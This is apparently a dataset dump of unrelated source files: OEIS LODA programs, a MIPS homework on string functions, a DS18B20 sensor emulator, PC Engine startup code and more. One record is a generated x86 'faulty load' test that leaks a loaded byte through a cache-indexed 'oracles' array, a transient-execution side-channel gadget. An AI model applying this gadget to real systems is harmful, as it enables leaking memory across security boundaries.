text
stringlengths
1
1.05M
; A223134: Number of distinct sums i+j+k with i,j,k >= 0, i*j*k <= n. ; 1,4,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,129,131,133,135,137,139,141,143,145,147,149,151,153,155,157,159,161,163,165,167,169,171,173,175,177,179,181,183,185,187,189,191,193,195,197,199 mul $0,2 mov $1,$0 cmp $1,2 add $0,$1 add $0,1
; void sp1_ClearRectInv(struct sp1_Rect *r, uchar tile, uchar rflag) ; CALLER linkage for function pointers PUBLIC sp1_ClearRectInv EXTERN sp1_ClearRectInv_callee EXTERN ASMDISP_SP1_CLEARRECTINV_CALLEE .sp1_ClearRectInv ld hl,2 add hl,sp ld a,(hl) inc hl inc hl ld e,(hl) inc hl inc hl ld c,(hl) inc hl ld h,(hl) ld l,c push de ld d,(hl) inc hl ld e,(hl) inc hl ld b,(hl) inc hl ld c,(hl) pop hl jp sp1_ClearRectInv_callee + ASMDISP_SP1_CLEARRECTINV_CALLEE
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rdi push %rdx lea addresses_normal_ht+0x10d97, %r10 nop nop nop nop nop sub $7726, %rdx mov $0x6162636465666768, %r14 movq %r14, %xmm5 movups %xmm5, (%r10) nop nop nop nop cmp %rdi, %rdi pop %rdx pop %rdi pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_RW+0x10f97, %rsi lea addresses_normal+0x15f97, %rdi clflush (%rdi) nop nop add $17671, %rbx mov $72, %rcx rep movsw nop nop nop cmp $57269, %r12 // Store lea addresses_WT+0x18dd7, %rbx nop nop nop add %rbp, %rbp movl $0x51525354, (%rbx) nop nop dec %r9 // Faulty Load lea addresses_normal+0x15f97, %rdi nop add %r12, %r12 mov (%rdi), %rcx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_RW', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A315259: Coordination sequence Gal.4.54.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,10,15,20,25,30,34,40,46,50,55,60,65,70,74,80,86,90,95,100,105,110,114,120,126,130,135,140,145,150,154,160,166,170,175,180,185,190,194,200,206,210,215,220,225,230,234,240,246 mov $2,$0 lpb $0 add $1,$0 mod $0,8 sub $0,1 add $3,$1 lpb $0 div $0,6 sub $3,1 lpe lpe mov $1,$3 add $1,1 mov $4,$2 mul $4,4 add $1,$4
#Alex Drizos #CS 0447 Assembly and Computer Architecture # .data section pre-written and not to be modiified according to project spec # Implement your five functions located at the end of this program. .data buffer1: .asciiz "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" buffer2: .asciiz "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" buffer3: .asciiz "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" buffer4: .asciiz "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" prompt1: .asciiz "Please enter a string: " prompt2: .asciiz "Please enter another string: " prompt3: .asciiz "Please enter a positive integer: " test1: .asciiz "Test function _strCopy\n" enter1: .asciiz "You just entered : " result1: .asciiz "Result of _strCopy: " check1: .asciiz "If both strings are identical, your _strCopy works properly.\n\n" test2: .asciiz "Test function _strConcat\n" str1msg: .asciiz "String 1: " str2msg: .asciiz "String 2: " result2: .asciiz "Result of _strConcat: " check2: .asciiz "\nIf the result looks fine, your _strConcat works properly.\n\n" test3: .asciiz "Test function _getNumDigits\n" result3: .asciiz "Your _getNumDigits says " result4: .asciiz " has " result5: .asciiz " digits." check3: .asciiz "\nIf the number of digits is correct, your function _getNumDigits works correctly.\n\n" test4: .asciiz "Test function _numToPriceString\n" result6: .asciiz "The output string from _numToPriceString with the number " result7: .asciiz " as the argument is the string \"" check4: .asciiz "\"\nIf the output string looks correct, your function _numToPriceString works properly.\n" test5: .asciiz "Test function _div10\n" result8: .asciiz "From your _div10, " result9: .asciiz " divided by 10 is " result10: .asciiz " and the remainder is " check5: .asciiz "\nIf the quotient and the reminder are correct, your function _div10 works properly.\n\n" .text ################# # Test _strCopy # ################# la $a0, test1 addi $v0, $zero, 4 syscall # print "Test function _strCopy" la $a0, prompt1 addi $v0, $zero, 4 syscall # print "Please enter a string: " la $a0, buffer1 addi $a1, $zero, 62 addi $v0, $zero, 8 syscall # Read a string into buffer1 addi $s0, $zero, 10 # Ascii 10 '\n' # Get rid of '\n' la $s1, buffer1 mpLoop1: lb $s2, 0($s1) beq $s0, $s2, mpDone1 addi $s1, $s1, 1 j mpLoop1 mpDone1: sb $zero, 0($s1) # print the string user entered la $a0, enter1 addi $v0, $zero, 4 syscall # Print "You just entered: " la $a0, buffer1 addi $v0, $zero, 4 syscall # Print the string user just entered addi $a0, $zero, 10 addi $v0, $zero, 11 syscall # Print '\n' # Call _strCopy la $a0, buffer1 # Source string la $a1, buffer2 # Destination buffer jal _strCopy # Call the function _strCopy la $a0, result1 addi $v0, $zero, 4 syscall # Print "Result of _strCopy: " la $a0, buffer2 addi $v0, $zero, 4 syscall # Print the result of _strCopy addi $a0, $zero, 10 addi $v0, $zero, 11 syscall # Print '\n' la $a0, check1 addi $v0, $zero, 4 syscall # Print check1 ################### # Test _strConcat # ################### la $a0, prompt2 addi $v0, $zero, 4 syscall # print "Please enter another string: " la $a0, buffer3 addi $a1, $zero, 62 addi $v0, $zero, 8 syscall # Read a string into buffer1 addi $s0, $zero, 10 # Ascii 10 '\n' # Get rid of '\n' la $s1, buffer3 mpLoop2: lb $s2, 0($s1) beq $s0, $s2, mpDone2 addi $s1, $s1, 1 j mpLoop2 mpDone2: sb $zero, 0($s1) la $a0, str1msg addi $v0, $zero, 4 syscall # Print "String 1: " la $a0, buffer1 addi $v0, $zero, 4 syscall # Print the first string user entered addi $a0, $zero, 10 addi $v0, $zero, 11 syscall # Print '\n' la $a0, str2msg addi $v0, $zero, 4 syscall # Print "String 2: " la $a0, buffer3 addi $v0, $zero, 4 syscall # Print the second string user entered addi $a0, $zero, 10 addi $v0, $zero, 11 syscall # Print '\n' # Call the function _strConcat la $a0, buffer1 la $a1, buffer3 jal _strConcat # print result la $a0, result2 addi $v0, $zero, 4 syscall # Print "Result of _strConcat: " la $a0, buffer1 addi $v0, $zero, 4 syscall # Print the result string of _strConcat la $a0, check2 addi $v0, $zero, 4 syscall # Print check2 ############### # Test _div10 # ############### la $a0, test5 addi $v0, $zero, 4 syscall # Print "Test _div10" la $a0, prompt3 addi $v0, $zero, 4 syscall # Print "Please enter a positive integer: " addi $v0, $zero, 5 syscall # Read integer add $s3, $zero, $v0 # $s3 is the integer user just entered add $a0, $zero, $s3 jal _div10 add $s4, $zero, $v0 add $s5, $zero, $v1 la $a0, result8 addi $v0, $zero, 4 syscall # Print "From your _div10, " add $a0, $zero, $s3 addi $v0, $zero, 1 syscall # Print the integer user entered la $a0, result9 addi $v0, $zero, 4 syscall # Print " divided by 10 is " add $a0, $zero, $s4 addi $v0, $zero, 1 syscall # Print the quotient la $a0, result10 addi $v0, $zero, 4 syscall # Print " and the remainder is " add $a0, $zero, $s5 addi $v0, $zero, 1 syscall # Print the remainder la $a0, check5 addi $v0, $zero, 4 syscall ###################### # Test _getNumDigits # ###################### la $a0, test3 addi $v0, $zero, 4 syscall # Print "Test _getNumDigits" #la $a0, prompt3 #addi $v0, $zero, 4 #syscall # Print "Please enter a positive integer: " #addi $v0, $zero, 5 #syscall # Read integer #add $s3, $zero, $v0 # $s3 is the integer user just entered add $a0, $zero, $s3 jal _getNumDigits add $s4, $zero, $v0 la $a0, result3 addi $v0, $zero, 4 syscall # Print "Your _getNumDigits says " add $a0, $zero, $s3 addi $v0, $zero, 1 syscall # Print the integer user entered la $a0, result4 addi $v0, $zero, 4 syscall # Print " has " add $a0, $zero, $s4 addi $v0, $zero, 1 syscall # Print the number of digits la $a0, result5 addi $v0, $zero, 4 syscall # Print "digits." la $a0, check3 addi $v0, $zero, 4 syscall ####################### # Test _numToPriceString # ####################### la $a0, test4 addi $v0, $zero, 4 syscall # Print "Test _numToPriceString" la $a0, result6 addi $v0, $zero, 4 syscall # Print "The output ..." add $a0, $zero, $s3 addi $v0, $zero, 1 syscall # Print the integer user entered la $a0, result7 addi $v0, $zero, 4 syscall # Print " as the argument: " # Call the function _toPriceString add $a0, $zero, $s3 la $a1, buffer4 jal _numToPriceString la $a0, buffer4 addi $v0, $zero, 4 syscall la $a0, check4 addi $v0, $zero, 4 syscall # Print "\"\nIf..." addi $v0, $zero, 10 syscall # _strCopy # # Copy a null-terminated source string to a destination buffer # # Arguments: # - $a0: An address of the first character of a source string # - $a1: An address of a buffer # Return Value: # - None _strCopy: lbu $t0, 0($a0) #load a byte from source string sb $t0, 0($a1) #store byte in destination buffer beqz $t0, strCopyExit #stop when null is copied addi $a0, $a0, 1 #increment both addresses addi $a1, $a1, 1 j _strCopy #loop strCopyExit: jr $ra # _strConcat # # Concatenate the second string to the end of the first string # # Arguments: # - $a0: The address of the first string # - $a1: The address of the second string # Return Value: # - None _strConcat: findNullLoop: lbu $t0, 0($a0) #put nth byte in $t0 beqz $t0, findNullLoopEnd #we found null so jump out of loop addi $a0, $a0, 1 #otherwise, increment to next char j findNullLoop #loop findNullLoopEnd: #we need to swap some values around to just to a nested strCopy function call add $t0, $zero, $zero #clear for swap add $t0, $a1, $zero #put $a1 in temp for 3 step swap add $a1, $a0, $zero #put address of null char of 1st string in $a1 as specified by strCopy add $a0, $t0, $zero #put old $a1 value in $a0 addi $sp, $sp, -4 #create space on the stack for register backups sw $ra, 0($sp) #save return value before nested function call jal _strCopy #strCopy here will concatenate the strings by copying the second string onto the first string starting at 1st's null char lw $ra, 0($sp) #replace return value jr $ra #return to caller # _div10 # # Return the result of a given number divided by 10 # # Arguments: # - $a0: A positive integer number # Return Values: # - $v0: Quotient # - $v1: Remainder _div10: #initialize registers #$t0 = 10 = divisor #clear t0 addi $t0, $zero, 10 #$t1 = quotient, will be returned in $v0 add $t1, $zero, $zero #$a0 = dividend #t2 = temp #reset return quotient and divisor values to 0 add $v0, $zero, $zero add $v1, $zero, $zero divideLoop: #temp = dividend - divsor sub $t2, $a0, $t0 #if temp < 0 jump to done slt $t3, $t2, $zero bnez $t3, divideLoopDone #dividend -= divsor sub $a0, $a0, $t0 #quotient++ addi $v0, $v0, 1 #jump to loop j divideLoop divideLoopDone: add $t2, $t2, $t0 #remainder = temp add $v1, $v1, $t2 #quotient = $v0 add $v0, $v0, $t1 jr $ra # _getNumDigits # # Returns the number of digits of a given positive integer # # Argument: # - $a0: a positive integer # Return Value: # - $v0: the number of digits of a given positive integer _getNumDigits: #Im assuming user will not buy more than $9,999 worth of wine in one transaction #t1 = 1, $t2 = 2, $t3 = 3, $t4 = 4 addi $t1, $zero, 1 addi $t2, $zero, 2 addi $t3, $zero, 3 addi $t4, $zero, 4 #check for 1 digit slti $t0, $a0, 10 beq $t0, $t1, return1 #check for 2 digits slti $t0, $a0, 100 beq $t0, $t1, return2 #check for 3 digits slti $t0, $a0, 1000 beq $t0, $t1, return3 #check for 4 digits slti $t0, $a0, 10000 beq $t0, $t1, return4 #return 1 digit return1: add $v0, $zero, $t1 jr $ra #return 2 digits return2: add $v0, $zero, $t2 jr $ra #return 3 digits return3: add $v0, $zero, $t3 jr $ra #return 4 digits return4: add $v0, $zero, $t4 jr $ra # _numToPriceString # # Convert a given positive integer into string of the form $xx.00 # # Argument # - $a0: A positive integer # - $a1: An address of a buffer # Return Value # - None _numToPriceString: #PART 1 - convert integer to string #s1 = 1st digit, $s2 = 2nd digit, $s3 = 3rd digit, $s4 = 4th digit #s0 = count add $s0, $zero, $zero #initialize count to zero addi $sp, $sp, -40 sw $ra, 0($sp) #back up ra and ao registers before nested function call sw $a0, 4($sp) sw $s0, 8($sp) sw $s1, 12($sp) #back up s(x) registers that caller may have used sw $s2, 16($sp) sw $s3, 20($sp) sw $s4, 24($sp) sw $s5, 28($sp) sw $s6, 32($sp) sw $s7, 36($sp) add $t9, $zero, $zero #temp for comparison to flag value addi $t9, $zero, 1 #zero out s1-s4 to ensure non used registers are null add $s1, $zero, $zero add $s2, $zero, $zero add $s3, $zero, $zero add $s4, $zero, $zero #first part of algorith, after we get these first s values, we'll add 0x30 to get ascii value divideToFindAsciiValueBase: jal _div10 add $s1, $zero, $v1 #remainder in v1 is first digit add $a0, $zero, $v0 #quotient from last _div10 call is new agrument to pass to get 2nd digit addi $s1, $s1, 0x30 #add 0x30 to get ascii value addi $s0, $s0, 1 #increment digit count #CHECK: if quotient is less than 1, we know its our last digit, jump out slti $t0, $v0, 1 #t0 = 1 if v0 is less than 1 bnez $t0, endDivideToFindAsciiValueBase #otherwise, continue jal _div10 add $s2, $zero, $v1 #remainder in v1 is second digit add $a0, $zero, $v0 #quotient from last _div10 call is new agrument to pass to get 3rd digit addi $s2, $s2, 0x30 #add 0x30 to get ascii value addi $s0, $s0, 1 #increment digit count #CHECK: if quotient is less than 1, we know its our last digit, jump out slti $t0, $v0, 1 #t0 = 1 if v0 is less than 1 bnez $t0, endDivideToFindAsciiValueBase #otherwise, continue jal _div10 add $s3, $zero, $v1 #remainder in v1 is third digit add $a0, $zero, $v0 #quotient from last _div10 call is new agrument to pass to get 4th digit addi $s3, $s3, 0x30 #add 0x30 to get ascii value addi $s0, $s0, 1 #increment digit count #CHECK: if quotient is less than 1, we know its our last digit, jump out slti $t0, $v0, 1 #t0 = 1 if v0 is less than 1 bnez $t0, endDivideToFindAsciiValueBase #otherwise, continue jal _div10 add $s4, $zero, $v1 #remainder in v1 is fourth digit addi $s4, $s4, 0x30 #add 0x30 to get ascii value addi $s0, $s0, 1 #increment digit count #assume we wont have more than 4 digits based on reasonable values associated with wine store purchases li $v0, 1 add $a0, $zero, $zero add $a0, $zero, $s0 syscall endDivideToFindAsciiValueBase: #done with part 1 lw $a0, 4($sp) #restore original $a0 value #PART 2 - format string in form $xx.00 #loop and add each part to buffer, use count variable to determine how many digits to add #save buffer address in $a1 to temp register $t0 add $t0, $zero, $zero add $t0, $a1, $zero #1st - add $ character = 0x24 add $t1, $zero, $zero addi $t1, $zero, 0x24 sb $t1, 0($t0) #2nd - add digits while i(=$t2) = numdigits(=$s0) add $t2, $zero, $zero #zero out t2 for i #add digits in reverse order due to previous algorithm implimentation "strings r-l numbers l-r" addDigits: beqz $s4, next1 addi $t0, $t0, 1 #increment buffer index sb $s4, 0($t0) #store first digit into buffer #addi $s0, $s0, 1 #increment numdigits addi $t2, $t2, 1 #increment i next1: beqz $s3, next2 #check if i is = numdigits beq $s0, $t2, endAddDigits addi $t0, $t0, 1 #increment buffer index sb $s3, 0($t0) #store second value into buffer #addi $s0, $s0, 1 #increment numdigits addi $t2, $t2, 1 #increment i next2: beqz $s2, next3 #check if i is = numdigits beq $s0, $t2, endAddDigits addi $t0, $t0, 1 #increment buffer index sb $s2, 0($t0) #store third value into buffer #addi $s0, $s0, 1 #increment numdigits addi $t2, $t2, 1 #increment i next3: #check if i is = numdigits beq $s0, $t2, endAddDigits addi $t0, $t0, 1 #increment buffer index sb $s1, 0($t0) #store fourth value into buffer #addi $s0, $s0, 1 #increment numdigits addi $t2, $t2, 1 #increment i endAddDigits: addi $t0, $t0, 1 #increment buffer index addi $t1, $zero, 0x2e #add period in hex to t1 sb $t1, 0($t0) #add period to buffer addi $t0, $t0, 1 #increment buffer index addi $t1, $zero, 0x30 #add 0 in hex to t1 sb $t1, 0($t0) #add 0 to buffer addi $t0, $t0, 1 #increment buffer index sb $t1, 0($t0) #add second 0 to buffer addi $t0, $t0, 1 #increment buffer index addi $t1, $zero, 0 sb $t1, 0($t0) #add null terminator to buffer #function is complete, restore backed up values and return lw $ra, 0($sp) #restor ra register after nested function calls lw $a0, 4($sp) #restor ao register after nested function calls lw $s0, 8($sp) lw $s1, 12($sp) #restore s(x) registers after nested function calls lw $s2, 16($sp) lw $s3, 20($sp) lw $s4, 24($sp) lw $s5, 28($sp) lw $s6, 32($sp) lw $s7, 36($sp) addi $sp, $sp, 40 #reset stack pointer jr $ra #return to caller
; A153976: a(n) = n^3 + (n+2)^3. ; 8,28,72,152,280,468,728,1072,1512,2060,2728,3528,4472,5572,6840,8288,9928,11772,13832,16120,18648,21428,24472,27792,31400,35308,39528,44072,48952,54180,59768,65728,72072,78812,85960,93528,101528,109972,118872,128240,138088,148428,159272,170632,182520,194948,207928,221472,235592,250300,265608,281528,298072,315252,333080,351568,370728,390572,411112,432360,454328,477028,500472,524672,549640,575388,601928,629272,657432,686420,716248,746928,778472,810892,844200,878408,913528,949572,986552,1024480 add $0,1 mov $1,$0 pow $0,2 add $0,3 mul $0,$1 div $0,2 mul $0,4
#include "DS18B20.h" DS18B20::DS18B20(uint8_t ID1, uint8_t ID2, uint8_t ID3, uint8_t ID4, uint8_t ID5, uint8_t ID6, uint8_t ID7) : OneWireItem(ID1, ID2, ID3, ID4, ID5, ID6, ID7) { scratchpad[0] = 0xA0; // TLSB --> 10 degC as std scratchpad[1] = 0x00; // TMSB scratchpad[2] = 0x4B; // THRE --> Trigger register TH scratchpad[3] = 0x46; // TLRE --> TLow scratchpad[4] = 0x7F; // Conf // = 0 R1 R0 1 1 1 1 1 --> R=0 9bit .... R=3 12bit scratchpad[5] = 0xFF; // 0xFF scratchpad[6] = 0x00; // Reset scratchpad[7] = 0x10; // 0x10 updateCRC(); // update scratchpad[8] ds18s20_mode = (ID1 == 0x10); // different tempRegister } void DS18B20::updateCRC() { scratchpad[8] = crc8(scratchpad, 8); }; void DS18B20::duty(OneWireHub * const hub) { uint8_t cmd; if (hub->recv(&cmd,1)) return; switch (cmd) { case 0x4E: // WRITE SCRATCHPAD // write 3 byte of data to scratchpad[2:4], ds18s20 only first 2 bytes (TH, TL) hub->recv(&scratchpad[2], 3); // dont return here, so crc gets updated even if write not complete updateCRC(); break; case 0xBE: // READ SCRATCHPAD hub->send(scratchpad, 9); break; case 0x48: // COPY SCRATCHPAD to EEPROM // todo: we could implement eprom here und below, copy scratchpad[2:4], ds18s20 only first 2 bytes (TH, TL) break; // send1 if parasite power is used, is passive case 0xB8: // RECALL E2 (3 byte EEPROM to Scratchpad[2:4]) break;// signal that OP is done, 1s is passive ... case 0xB4: // READ POWER SUPPLY //hub->sendBit(0); // 1: say i am external powered, 0: uses parasite power, 1 is passive, so omit it ... break; case 0x44: // CONVERT T --> start a new measurement conversion // we have 94 ... 750ms time here (9-12bit conversion) break; // send 1s, is passive ... default: hub->raiseSlaveError(cmd); }; }; void DS18B20::setTemperature(const float value_degC) { float value = value_degC; if (value > 125) value = 125; if (value < -55) value = -55; setTemperatureRaw(static_cast<int16_t>(value * 16.0f)); }; void DS18B20::setTemperature(const int8_t value_degC) // could be int8_t, [-55;+85] degC { int8_t value = value_degC; if (value > 125) value = 125; if (value < -55) value = -55; setTemperatureRaw(value * static_cast<int8_t>(16)); }; void DS18B20::setTemperatureRaw(const int16_t value_raw) { int16_t value = value_raw; if (ds18s20_mode) { value /= 8; // deg*16/8 = deg*2 ... if (value > 0) { value &= 0x00FF; // upper byte is signum (0) } else { value = -value; value |= 0xFF00; // upper byte is signum (1) }; } else { // normal 18b20, uses always 12bit mode! also 9,10,11,12 bit possible bitPosition seems to stay the same if (value > 0) { value &= 0x0FFF; } else { value = -value; value |= 0xF000; }; }; scratchpad[0] = reinterpret_cast<uint8_t *>(&value)[0]; scratchpad[1] = reinterpret_cast<uint8_t *>(&value)[1]; // TODO: if alarms implemented - compare TH,TL with (value>>4 & 0xFF) (bit 11to4) // if out of bounds >=TH, <=TL trigger flag updateCRC(); }; int DS18B20::getTemperature(void) const { int16_t value = (scratchpad[1] << 8) | scratchpad[0]; if (ds18s20_mode) { if (scratchpad[1] & 0xF0) { value &= 0x00FF; value = -value; } value /= 2; } else { if (scratchpad[1] & 0xF0) { value &= 0x0FFF; value = -value; } value /= 16; }; return value; }
; A247426: Complement of A247425. ; 2,5,8,10,13,15,18,21,23,26,29,31,34,36,39,42,44,47,50,52,55,57,60,63,65,68,70,73,76,78,81,84,86,89,91,94,97,99,102,104,107,110,112,115,118,120,123,125,128,131,133,136,139,141,144,146,149,152,154,157 mov $7,$0 add $7,1 mov $9,$0 lpb $7,1 mov $0,$9 sub $7,1 sub $0,$7 mov $11,2 mov $12,$0 lpb $11,1 sub $11,1 add $0,$11 sub $0,1 mov $6,1 mul $6,$0 mov $5,$6 add $5,1 mov $3,$5 mul $3,$6 mov $4,$5 lpb $3,1 add $4,2 trn $3,$4 lpe mov $8,$4 mov $10,$11 lpb $10,1 mov $2,$8 sub $10,1 lpe lpe lpb $12,1 sub $2,$8 mov $12,0 lpe mov $8,$2 div $8,2 add $8,2 add $1,$8 lpe
; A017199: a(n) = (9*n + 3)^3. ; 27,1728,9261,27000,59319,110592,185193,287496,421875,592704,804357,1061208,1367631,1728000,2146689,2628072,3176523,3796416,4492125,5268024,6128487,7077888,8120601,9261000,10503459,11852352,13312053,14886936,16581375,18399744,20346417,22425768,24642171,27000000,29503629,32157432,34965783,37933056,41063625,44361864,47832147,51478848,55306341,59319000,63521199,67917312,72511713,77308776,82312875,87528384,92959677,98611128,104487111,110592000,116930169,123505992,130323843,137388096,144703125,152273304,160103007,168196608,176558481,185193000,194104539,203297472,212776173,222545016,232608375,242970624,253636137,264609288,275894451,287496000,299418309,311665752,324242703,337153536,350402625,363994344,377933067,392223168,406869021,421875000,437245479,452984832,469097433,485587656,502459875,519718464,537367797,555412248,573856191,592704000,611960049,631628712,651714363,672221376,693154125,714516984,736314327,758550528,781229961,804357000,827936019,851971392,876467493,901428696,926859375,952763904,979146657,1006012008,1033364331,1061208000,1089547389,1118386872,1147730823,1177583616,1207949625,1238833224,1270238787,1302170688,1334633301,1367631000,1401168159,1435249152,1469878353,1505060136,1540798875,1577098944,1613964717,1651400568,1689410871,1728000000,1767172329,1806932232,1847284083,1888232256,1929781125,1971935064,2014698447,2058075648,2102071041,2146689000,2191933899,2237810112,2284322013,2331473976,2379270375,2427715584,2476813977,2526569928,2576987811,2628072000,2679826869,2732256792,2785366143,2839159296,2893640625,2948814504,3004685307,3061257408,3118535181,3176523000,3235225239,3294646272,3354790473,3415662216,3477265875,3539605824,3602686437,3666512088,3731087151,3796416000,3862503009,3929352552,3996969003,4065356736,4134520125,4204463544,4275191367,4346707968,4419017721,4492125000,4566034179,4640749632,4716275733,4792616856,4869777375,4947761664,5026574097,5106219048,5186700891,5268024000,5350192749,5433211512,5517084663,5601816576,5687411625,5773874184,5861208627,5949419328,6038510661,6128487000,6219352719,6311112192,6403769793,6497329896,6591796875,6687175104,6783468957,6880682808,6978821031,7077888000,7177888089,7278825672,7380705123,7483530816,7587307125,7692038424,7797729087,7904383488,8012006001,8120601000,8230172859,8340725952,8452264653,8564793336,8678316375,8792838144,8908363017,9024895368,9142439571,9261000000,9380581029,9501187032,9622822383,9745491456,9869198625,9993948264,10119744747,10246592448,10374495741,10503459000,10633486599,10764582912,10896752313,11029999176,11164327875,11299742784 mul $0,9 add $0,3 pow $0,3 mov $1,$0
; [fail] mov ax, 5, 4, 3, 2, 1, 0
; A087887: a(n) = 18n^3 + 6n^2. ; 0,24,168,540,1248,2400,4104,6468,9600,13608,18600,24684,31968,40560,50568,62100,75264,90168,106920,125628,146400,169344,194568,222180,252288,285000,320424,358668,399840,444048,491400,542004,595968,653400 mov $2,$0 mul $0,4 sub $2,$0 bin $2,2 mul $0,$2
;#listing2.asm ;------------ timerport .equ $0C00 timer_cnt .equ timerport timer_ctrl .equ timerport+1 .zp saw_counter: .ds 1 .org $010 fine_tune: .ds 1 .bss .org $2680 vsync_cnt: .ds 1 ; counter for 'wait_vsync' routine .code .bank $00 .org $e000 start_up: ; disable interrupts sei ; select the 7.16 MHz clock csh ; clear decimal flag cld ; initialize SP to $ff lda #$ff txs ; map hardware bank to MPR0 ; $0000 - $1fff lda #$ff tam #$00 ; map ram bank to MPR1 ; $2000 - $3fff lda #$f8 tam #$01 ; clear all of RAM ; set 1st byte of ram to desired default value lda #$00 sta $2000 ; propogate 1st byte value to all of ram tii $2000, $2001, $1fff ; reset timer? stz timer_ctrl ; set timer lda #$00 sta timer_cnt lda #$01 sta timer_ctrl ; init VDC lda #$05 ; CR sta $0000 lda #$00 sta $0002 sta $0003 lda #$06 ; RCR sta $0000 lda #$00 sta $0002 sta $0003 lda #$07 ; BXR sta $0000 lda #$00 sta $0002 sta $0003 lda #$08 ; BYR sta $0000 lda #$00 sta $0002 sta $0003 lda #$09 ; MWR sta $0000 lda #$00 ; bits 4-6 set bg virtual size sta $0002 